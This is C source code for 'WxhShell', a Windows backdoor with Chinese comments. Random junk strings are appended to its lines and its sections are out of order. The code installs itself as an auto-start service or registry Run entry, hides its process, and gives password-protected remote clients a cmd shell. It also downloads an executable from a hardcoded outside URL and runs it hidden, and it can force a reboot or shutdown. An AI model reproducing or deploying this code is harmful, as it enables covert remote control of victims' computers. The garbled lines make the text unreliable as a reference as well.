    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x#SE%j?  
    else { jRiMWolLv  
    closesocket(wsh); ^g(qP tQ  
    ExitThread(0);  o%j?}J7y  
    } C1_0 9Vc  
    break; [7 PC\  
    } 6 M:?W"  
  // 获取shell 1SS1P0Ur  
  case 's': { 6;Z`9PGp  
    CmdShell(wsh); C;:=r:bth  
    closesocket(wsh); (=u!E+N  
    ExitThread(0);  ~ e?af  
    break; QlB9m2XB  
  } RYvdfj.ij  
  // 退出 DRRQ] eK0  
  case 'x': { 7{M&9| aK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q M_c-^F  
    CloseIt(wsh); Jf= V<  
    break; #]1 jvB  
    } |)>+& xk  
  // 离开 u =L Dfn  
  case 'q': { Kh=\YN\E<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {06-h %qr  
    closesocket(wsh); EZiLXQd_  
    WSACleanup(); P-T@'}lW  
    exit(1); +`"Tn`O  
    break; |) ~-Wy  
        } >G!=lLyR  
  } HP*{1Q@5  
  } *A48shfO  
AEj%8jh  
  // 提示信息 RrBG=V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5!'1;GLs  
} "[]oWPOj  
  } {ly<%Q7j  
93.\.&L\  
  return; MkGQ  
} ^NX;z c  
Q;>Yk_(S  
// shell模块句柄 1O0)+9T82  
int CmdShell(SOCKET sock) Q'=7#_  
{ T.z efoZ  
STARTUPINFO si; 1(T2:N(M-A  
ZeroMemory(&si,sizeof(si)); *[ 0,QEy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 71E~~$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0s//&'*Q  
PROCESS_INFORMATION ProcessInfo; $'>iNMtK{p  
char cmdline[]="cmd"; o` QH8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  I*f@^(  
  return 0; >3b< Fq$  
} KAE %Wwjr  
*wx%jbJo  
// 自身启动模式 l%Ke>9C  
int StartFromService(void) R*cef  
{ W.{+0xx  
typedef struct H~#$AD+H  
{ U9PI#TX &O  
  DWORD ExitStatus; uAnL`  
  DWORD PebBaseAddress; MaPhG<?  
  DWORD AffinityMask; @6~m&$R/  
  DWORD BasePriority; ;,]4A{|  
  ULONG UniqueProcessId; k9H}nP$F  
  ULONG InheritedFromUniqueProcessId; rIB./,  
}   PROCESS_BASIC_INFORMATION; $;=^|I4E  
ktfxb <%  
PROCNTQSIP NtQueryInformationProcess; J3oUtu  
n4{?Odrf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4IOqSB|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &x*l{s[  
l{3zlXk3z  
  HANDLE             hProcess; n?6^j8i  
  PROCESS_BASIC_INFORMATION pbi; _?felxG[  
%LHt{:9.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )R<93`q  
  if(NULL == hInst ) return 0; ,@ p4HN*  
7~1Fy{tc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CaED(0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R86i2',  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nt&% sM-X  
`%Kj+^|DS  
  if (!NtQueryInformationProcess) return 0; yRQ1Szbjli  
qh}+b^Wi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  = v?V  
  if(!hProcess) return 0; YwH Fn+  
$!p2Kf>/Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @Jd eOL;  
3:$@DZT$  
  CloseHandle(hProcess); %kkDitmI{  
r&v!2A]:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <x<qO=lq  
if(hProcess==NULL) return 0; J<"Z6 '0v  
&a\w+  
HMODULE hMod; Zd-QZ<c";t  
char procName[255]; 3zfiegY@wm  
unsigned long cbNeeded; ~3Qa-s;g  
leSBR,C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *h?}~!AjY  
cRag0.[  
  CloseHandle(hProcess); ODpAMt"  
{='wGx  
if(strstr(procName,"services")) return 1; // 以服务启动 n]w%bKc-9  
@pJ;L1sn  
  return 0; // 注册表启动 79 _8Oh  
} _a$5"  
t=:5?}J.Q$  
// 主模块 $Sm iN'7;  
int StartWxhshell(LPSTR lpCmdLine) ~k@{b&  
{ u@Ni *)p`  
  SOCKET wsl; 1:DA{ejS  
BOOL val=TRUE; 4Rp[>}L  
  int port=0; }(na)B{m  
  struct sockaddr_in door; sy(bL _%  
`\ nKPj  
  if(wscfg.ws_autoins) Install(); &432/=QSm0  
J7EWaXGbz  
port=atoi(lpCmdLine); O]="ggq&  
x>K,{{B)X  
if(port<=0) port=wscfg.ws_port; QDK }e:4q  
6PWw^Cd  
  WSADATA data; P?8$VAkj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D}ZPgt#   
!q/Q2N(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   / a}N6KUi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zl!  
  door.sin_family = AF_INET; #QOb[9(Tu(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \\oa[nvL~  
  door.sin_port = htons(port); F5UHkv"K&O  
4eaH.&&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3s*mq@~1X  
closesocket(wsl); KeyHxU=?  
return 1; La7}zXx  
} BT -Y9j  
t B}W )Eb  
  if(listen(wsl,2) == INVALID_SOCKET) { Ms%C:KG  
closesocket(wsl); CX {M@x3m  
return 1; t08[3Q&  
} aiw4J  
  Wxhshell(wsl); @@!]Raj=  
  WSACleanup(); {pRa%DF  
c~\^C_  
return 0; ST0|2)Lh"  
iP^[xB~v  
} %N7G>_+  
F Zt;D  
// 以NT服务方式启动 7=wQ#bq"1P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #aP;a-Q|k  
{ #7J3,EV  
DWORD   status = 0; 0o.h{BN  
  DWORD   specificError = 0xfffffff; [[4!b E  
3)^ 2X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zJ8jJFL+Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S~g "  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $qoal   
  serviceStatus.dwWin32ExitCode     = 0; 4!M0)Nix  
  serviceStatus.dwServiceSpecificExitCode = 0; `RqV\ 6G+  
  serviceStatus.dwCheckPoint       = 0; 0V2~  
  serviceStatus.dwWaitHint       = 0; Us>n`Lj@  
]h=y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :`@W`V?6-  
  if (hServiceStatusHandle==0) return; W3MH8z   
p5nrPL  
status = GetLastError(); tKi ^0vE8  
  if (status!=NO_ERROR) <V8=*n"mR  
{ qV$0 ";d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VhgcvS@V  
    serviceStatus.dwCheckPoint       = 0; s"wz !{G4  
    serviceStatus.dwWaitHint       = 0; =NRiro  
    serviceStatus.dwWin32ExitCode     = status; Tkh?F5l  
    serviceStatus.dwServiceSpecificExitCode = specificError; dTU`@!f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (b.Mtd  
    return; lqoVfj'6M  
  } AX{yfL  
Ojp|/yd^YL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iA"H*0  
  serviceStatus.dwCheckPoint       = 0; /'>ck2drjk  
  serviceStatus.dwWaitHint       = 0; SR/ "{\C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s*>B"#En  
} DK%@ [D  
DeN$YE#*  
// 处理NT服务事件,比如:启动、停止 -K5u5l}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m?1AgsBR  
{ uKT\\1Jrq  
switch(fdwControl) aQ1n1OBr  
{ \AD|;tA\vE  
case SERVICE_CONTROL_STOP: vrsOA@ee3H  
  serviceStatus.dwWin32ExitCode = 0; H]0(GLvH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rAu@`H?  
  serviceStatus.dwCheckPoint   = 0; \#'m([<e  
  serviceStatus.dwWaitHint     = 0; hl+ T  
  { 1~*JenV-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %bTXu1  
  } dM5N1$1,  
  return; QnH~' k  
case SERVICE_CONTROL_PAUSE: I9cZZ`vs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~0{F,R.$  
  break; B o[aiT  
case SERVICE_CONTROL_CONTINUE: G4f%=Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `]l[p+DO  
  break; {/qq*0wa  
case SERVICE_CONTROL_INTERROGATE: cvnRd.&  
  break; ^0"[l {  
}; /gLi(Uw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s|Zv>Qt  
} $Mqw)X&q  
ARid   
// 标准应用程序主函数 kc"SUiy/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #xxs^Kbqa#  
{ J|o )c~  
R<8!lQ4s  
// 获取操作系统版本 (w, Gv-S  
OsIsNt=GetOsVer(); h4? 'd+K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6\/(TW&  
&28%~&L  
  // 从命令行安装 ^@xn3zJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9iOTT%pq  
j1P#({z[  
  // 下载执行文件 7cT ~u  
if(wscfg.ws_downexe) { _O>8jH!#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dmE.yVI"O  
  WinExec(wscfg.ws_filenam,SW_HIDE); !bIhw}^C*  
} ?{-y? %y  
HY'-P&H5(  
if(!OsIsNt) { q*K.e5"'  
// 如果时win9x,隐藏进程并且设置为注册表启动 o[K,(  
HideProc(); |1"n\4$  
StartWxhshell(lpCmdLine); h-RL`X  
} | <l=i(  
else Ceak8#|4  
  if(StartFromService()) |jyoT%SQ  
  // 以服务方式启动 sJ)Pj?"\?  
  StartServiceCtrlDispatcher(DispatchTable); g E;o_~  
else Ba]^0Y u  
  // 普通方式启动 [5Pin>]z  
  StartWxhshell(lpCmdLine); wO ?A/s  
,qO2D_  
return 0; ^ Nm!b  
} r4Jc9Tv d  
Y**|e4  
zvnR'\A_  
.uu[MzMIu  
=========================================== XSz)$9~hk  
~i/K7qZ  
xsdi\ j;n>  
0:4w@"Q  
qEV>$>}  
VTvNn  
" a/H|/CB 3  
5j$ a3nH  
#include <stdio.h> )*n2 ,n  
#include <string.h> @t?uhT*Z=  
#include <windows.h> O0 ,=@nw8.  
#include <winsock2.h> |4|j5<5  
#include <winsvc.h> `%S#XJU  
#include <urlmon.h> %w3"B,k'9D  
Omy<Y@$  
#pragma comment (lib, "Ws2_32.lib") )wueR5P  
#pragma comment (lib, "urlmon.lib") E(G&mfhb  
$fl+l5?9  
#define MAX_USER   100 // 最大客户端连接数  a EmLf  
#define BUF_SOCK   200 // sock buffer ,fW%Qv  
#define KEY_BUFF   255 // 输入 buffer C{8(ew  
z1 P=P%F  
#define REBOOT     0   // 重启 2io~pk>  
#define SHUTDOWN   1   // 关机 MF/@Efjn ]  
tEHgQto  
#define DEF_PORT   5000 // 监听端口 ae|j#!~oi  
K/ 5U;oC  
#define REG_LEN     16   // 注册表键长度 1=Nh<FuQ  
#define SVC_LEN     80   // NT服务名长度 ct![eWsuB  
79O'S du@  
// 从dll定义API j$Z:S~*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `5C uH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Tg ~SGAc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |#?:KvU97E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $c<NEt_\  
U[t/40W}P  
// wxhshell配置信息 xb~8uD5  
struct WSCFG { @j|=M7B  
  int ws_port;         // 监听端口  c 1o8   
  char ws_passstr[REG_LEN]; // 口令 6@; P  
  int ws_autoins;       // 安装标记, 1=yes 0=no #:LI,t  
  char ws_regname[REG_LEN]; // 注册表键名  d| OEZx  
  char ws_svcname[REG_LEN]; // 服务名 %d"d<pvx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C6{\^kG^j2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #cy;((zuB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NANgV~Y&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k~=_]sLn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *'jI>^o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5VR=D\j  
38l 8n.  
}; X/' t1  
FEwPLViso  
// default Wxhshell configuration ;"Q.c#pA$g  
struct WSCFG wscfg={DEF_PORT, oK#UEn  
    "xuhuanlingzhe", f*46,` x  
    1, %UokR"  
    "Wxhshell", 1E]TH/JK  
    "Wxhshell", @\s*f7  
            "WxhShell Service", S5>?j n1  
    "Wrsky Windows CmdShell Service", ft><Ql3  
    "Please Input Your Password: ", f )Ef-o  
  1, KO3X)D<3  
  "http://www.wrsky.com/wxhshell.exe", ur K~]68  
  "Wxhshell.exe" AMf{E  
    }; Jwt_d }ns  
j9^V)\6)  
// 消息定义模块 2U.'5uA"L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;G|#i? JJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yeqH eZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *BFG{P  
char *msg_ws_ext="\n\rExit."; xka&,`z  
char *msg_ws_end="\n\rQuit."; H=v=)cUe[  
char *msg_ws_boot="\n\rReboot..."; $1}Y4>3  
char *msg_ws_poff="\n\rShutdown..."; 7X`]}z4g  
char *msg_ws_down="\n\rSave to "; VtnVl`/]  
PJ3M,2H1b.  
char *msg_ws_err="\n\rErr!"; '4"c#kCKL  
char *msg_ws_ok="\n\rOK!"; GLWEoV9<  
$@^*lUw  
char ExeFile[MAX_PATH]; v1}9i3Or#  
int nUser = 0; 5DxNHEuS  
HANDLE handles[MAX_USER]; 13K|=6si  
int OsIsNt; ^n~bx *f  
1'4?}0Dok  
SERVICE_STATUS       serviceStatus; )/cf%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [D_s`'tg  
=}UcYC6l  
// 函数声明 (bp4ly^  
int Install(void); |e{ ^Yf4  
int Uninstall(void); 7 tQ?av  
int DownloadFile(char *sURL, SOCKET wsh); []b= xRJM  
int Boot(int flag); SQs+4YJ  
void HideProc(void); n4InZ!)  
int GetOsVer(void); p!>DA?vF  
int Wxhshell(SOCKET wsl); '@dk3:3t  
void TalkWithClient(void *cs); >yf}9Zs  
int CmdShell(SOCKET sock); ~`X$b F  
int StartFromService(void); x,M8NTb*  
int StartWxhshell(LPSTR lpCmdLine); TY;%nT  
R@~=z5X( Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i[/`9 AK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ex6 QHUQ  
2$TwD*[  
// 数据结构和表定义 8h,=yAn5  
SERVICE_TABLE_ENTRY DispatchTable[] = .s-*aoj  
{ D=@bPB>  
{wscfg.ws_svcname, NTServiceMain}, hg2UZ% Y  
{NULL, NULL} 10IX8 4  
}; !xvAy3  
zmhL[1qj  
// 自我安装 F4PWL|1  
int Install(void) t Z@OAPRx  
{ {4eI} p<  
  char svExeFile[MAX_PATH]; {H3B1*Dk  
  HKEY key; i F \H  
  strcpy(svExeFile,ExeFile); EslHml#  
N"8'=wB  
// 如果是win9x系统,修改注册表设为自启动 j: E3c\a  
if(!OsIsNt) { {PKf]m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qz4Do6#y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `*",_RO;  
  RegCloseKey(key); %l[]n;*$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sA2esA@C<o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wC?>,LOl  
  RegCloseKey(key); uj:1_&g  
  return 0; -% \LW1  
    } 0K4A0s_R`  
  } TeRH@oI  
} 4Z.Dz@.c(  
else { aGNb  Cm  
*$Y_ %}  
// 如果是NT以上系统,安装为系统服务 #'dNSez5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '*D>/hn|:]  
if (schSCManager!=0) |j=Pj)5J  
{ S!66t?vHB  
  SC_HANDLE schService = CreateService E V@yJ]  
  ( I,W `s  
  schSCManager, dkg| kw'  
  wscfg.ws_svcname, '| p"HbJ  
  wscfg.ws_svcdisp, L~Y^O`c  
  SERVICE_ALL_ACCESS, jo' V.]\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B#r"|x#[  
  SERVICE_AUTO_START, Je4hQJ<h  
  SERVICE_ERROR_NORMAL, o .( Gja4  
  svExeFile, ; )FmN[  
  NULL, G=er0(7<  
  NULL, RFPcH8-u7  
  NULL, Vsr"W@k_  
  NULL, |$g} &P8;  
  NULL *!pn6OJ"Q}  
  ); OwPXQ 3S  
  if (schService!=0) Jl<pWjkZZ  
  { P*n/qj8h  
  CloseServiceHandle(schService); o8Yq3N+  
  CloseServiceHandle(schSCManager); k}C4:?AT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WO6R04+WV  
  strcat(svExeFile,wscfg.ws_svcname); qM<CBcON  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m 48Ab`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); + w'q5/`  
  RegCloseKey(key); '61>.u:2  
  return 0; "U/yq  
    } Nw{Cu+AwG  
  } iJ`zWpj+{Q  
  CloseServiceHandle(schSCManager); />wE[`  
} gC(@]%  
} 2 fg P  
p-xG&CU  
return 1; +8Y|kC{9"  
} g7{:F\S  
q4v:s   
// 自我卸载 5O;D\M{>  
int Uninstall(void) l#~pK6@W  
{ I4KE@H"%7  
  HKEY key; ^7a@?|,q8  
?aI. Z+#  
if(!OsIsNt) { "L!U7|9J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'uF75C  
  RegDeleteValue(key,wscfg.ws_regname); :| !5d{8S8  
  RegCloseKey(key); Sp2DpGs~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3 . K #,  
  RegDeleteValue(key,wscfg.ws_regname); >.I9S{7  
  RegCloseKey(key); uA V7T/'  
  return 0; WrS>^\:  
  } ra2{8 x  
} zI\+]U'  
} U9K'O !i>  
else { t1NGs-S3  
HYL['B?Wid  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8/T,{J\  
if (schSCManager!=0) SSq4KFO1  
{ T0~~0G)k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @1xIph<z  
  if (schService!=0) 'Yi="kno  
  { !^o{}*]Pi  
  if(DeleteService(schService)!=0) {  56MY@  
  CloseServiceHandle(schService); e ^,IZ{  
  CloseServiceHandle(schSCManager); |QD#Dx1_  
  return 0; ; +.cD  
  } !l]_c 5  
  CloseServiceHandle(schService); yZN~A:  
  } `<kB/T  
  CloseServiceHandle(schSCManager); B]vR=F}*  
} ns *:mGh  
} #SG.`J<%  
dS\!tdHP-Q  
return 1; -2(?O`tZ  
} @biU@[D  
-+M360  
// 从指定url下载文件 o)>iHzR</  
int DownloadFile(char *sURL, SOCKET wsh) i"x V=.  
{ {> <1K6t  
  HRESULT hr; ANJL8t-m  
char seps[]= "/"; ^tjw }sE  
char *token; SUv'cld  
char *file; P]TT8Jgw  
char myURL[MAX_PATH]; {9X mFa  
char myFILE[MAX_PATH]; !Z 0U_*&  
kDXQpe  
strcpy(myURL,sURL); ;xiwyfqgE  
  token=strtok(myURL,seps);  axDa&7%  
  while(token!=NULL) >rJ**y  
  { ~)n[Vf  
    file=token; <*WGvCh%w  
  token=strtok(NULL,seps); 3fA+{Y8S  
  } X6T[+]Gc  
W#E(?M[r  
GetCurrentDirectory(MAX_PATH,myFILE); 1up p E|  
strcat(myFILE, "\\"); i]J.WFu  
strcat(myFILE, file); _RbM'_y+E  
  send(wsh,myFILE,strlen(myFILE),0); >{9VXSc  
send(wsh,"...",3,0); !tcz_%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k5J18S  
  if(hr==S_OK) dpK -  
return 0; G.^)5!By  
else QqRF?%7q"q  
return 1; '2hy%  
2g~ @99`  
} : p)R,('g  
.9WOT ti  
// 系统电源模块 Bs`{qmbC  
int Boot(int flag) Z4c'1-lh  
{ /qMnIo  
  HANDLE hToken; y:^o ._  
  TOKEN_PRIVILEGES tkp; /]_|uN)Q  
#"lb9. _ M  
  if(OsIsNt) { /!^,+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *^Ges;5 $"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9bM kP2w>  
    tkp.PrivilegeCount = 1; 4c95G^dZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UCK;?]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8|<</v8i  
if(flag==REBOOT) { =[&+R9s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6)*B%$?x  
  return 0; _ E-\aS{  
} =.&8ghJ*M  
else { K *{RGE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [f! { -T  
  return 0; bJ 2>@|3*  
} Dr(2@ 0P  
  } MG~Z)+g=y  
  else { Rd5-ao4  
if(flag==REBOOT) { X 6tJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;6D3>Lm  
  return 0; p5tb=Zg_  
} (QL:7  
else { ('Qq"cn#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'S9o!hb'@  
  return 0; f6yj\qq]  
} cm_5,wB(w  
} &P>& T  
`/`iLso& -  
return 1; aL*MCgb'  
} [Eccj`\e g  
%OB>FY:|  
// win9x进程隐藏模块 IW&*3I<K  
void HideProc(void) 0ju-l= w  
{ LU+SuVm  
jex\5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WW{_D  
  if ( hKernel != NULL ) '*65j  
  { 4w=v /WDo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fM7B<eB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sve} ent  
    FreeLibrary(hKernel); h@\-]zN{  
  } {:*G/*1[.  
ej@4jpHQN  
return; U5TkgHN{y  
} 88,hza`#V  
Hg<aU*o;  
// 获取操作系统版本 xw_klHL-o  
int GetOsVer(void) *$|f9jVh  
{ bGL}nPo  
  OSVERSIONINFO winfo; H"(#Tp ZTE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O8b#'f~  
  GetVersionEx(&winfo); X-fWdoN @-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J$42*SY  
  return 1; f=}T^Z<  
  else ymqv@Byi8A  
  return 0; %K')_NS@  
} NK/y,f6  
Yj>4*C9  
// 客户端句柄模块 a>W++8t1 ;  
int Wxhshell(SOCKET wsl) Md@x2Ja  
{ Anu:  
  SOCKET wsh; BYMdX J  
  struct sockaddr_in client; *#b e  
  DWORD myID; m(MQ  
ar\|D\0V  
  while(nUser<MAX_USER) d/j?.\  
{ q4w]9b/  
  int nSize=sizeof(client); p+|8(w9A${  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z!~_#_Ugl  
  if(wsh==INVALID_SOCKET) return 1; {6h 1  
^h2+""  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \wsVO"/  
if(handles[nUser]==0) 2wB *c9~  
  closesocket(wsh); %L- qAI&V  
else /CO=!*7fz  
  nUser++; L&)e}"  
  } hZ452W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K$,<<hl  
mz%l4w?'  
  return 0; }q]*aADe  
} }A@:JR+|  
*cCx]C.~  
// 关闭 socket j3;W-c`5  
void CloseIt(SOCKET wsh) &U?4e'N)T  
{ Z8FgxR  
closesocket(wsh); @@U  
nUser--; >AX_"Q~  
ExitThread(0); ZCj1Cz]"l<  
} SyI~iW#Y1  
Qt {){uE  
// 客户端请求句柄 mY/"rm  
void TalkWithClient(void *cs) Q"~%T@e  
{ oF>`>  
Z81;Y=(  
  SOCKET wsh=(SOCKET)cs; |yO%w#  
  char pwd[SVC_LEN]; /eH37H  
  char cmd[KEY_BUFF]; B E8_.>  
char chr[1]; 4]tg!ks  
int i,j; wU!-sf;]y  
BXU0f%"8U  
  while (nUser < MAX_USER) { 0+op|bdj  
n@ba>m4{  
if(wscfg.ws_passstr) { yUJ#LDW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  OM1{-W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D C/X|f  
  //ZeroMemory(pwd,KEY_BUFF); n0co* ]X+k  
      i=0; x$` lQ%  
  while(i<SVC_LEN) { $Z]@N nA9N  
[ !#Dba#  
  // 设置超时 /"st sF  
  fd_set FdRead; jQm~F` z  
  struct timeval TimeOut; >Rt:8uurAG  
  FD_ZERO(&FdRead); ~Yg) 8  
  FD_SET(wsh,&FdRead); +@!\3a4!  
  TimeOut.tv_sec=8; fXWE4^jU  
  TimeOut.tv_usec=0; BWxJ1ENM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "1^tVw|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y*X.DS 1(w  
5j.@)XXe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WHBGhU  
  pwd=chr[0]; X9|*`h<  
  if(chr[0]==0xd || chr[0]==0xa) { X)hpbHa  
  pwd=0; O&aD]~|  
  break;  rn( drG  
  } 4[x` \  
  i++; \ [OB.  
    } 8%u|[Si;  
$`7Fk%#+e  
  // 如果是非法用户,关闭 socket ysK J=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DFQ`(1Q  
} R[l`# I  
 w (RRu~J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TO5y.M|7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WgR%mm^  
rQ_cH  
while(1) { z(Uz<*h8  
P.q7rk<  
  ZeroMemory(cmd,KEY_BUFF); * bYU=RS  
`ql8y'  
      // 自动支持客户端 telnet标准   ]5QXiF8`  
  j=0; ^_\m@   
  while(j<KEY_BUFF) { `lOW7Z}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^&86VBP  
  cmd[j]=chr[0]; v\8v'EDP  
  if(chr[0]==0xa || chr[0]==0xd) { H/M]YUs/3  
  cmd[j]=0; dF 6od  
  break; *q=\ e9  
  } 7J5jf231  
  j++; eDP&W$s#  
    } n=JV*h0  
kG5+kwV=:  
  // 下载文件 o:ow"cOEf  
  if(strstr(cmd,"http://")) {  u? >x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q.eD:@%iE  
  if(DownloadFile(cmd,wsh)) 8(Ptse  ,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >gL&a#<S  
  else .!L{yU,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  "O9n|B  
  } %hBwc#^  
  else { :}fA98S  
(D?4*9 =  
    switch(cmd[0]) { }z/%b<o_  
  hNYO+LrI)  
  // 帮助 zQ,M795@EA  
  case '?': { ewn\'RLZ"@  
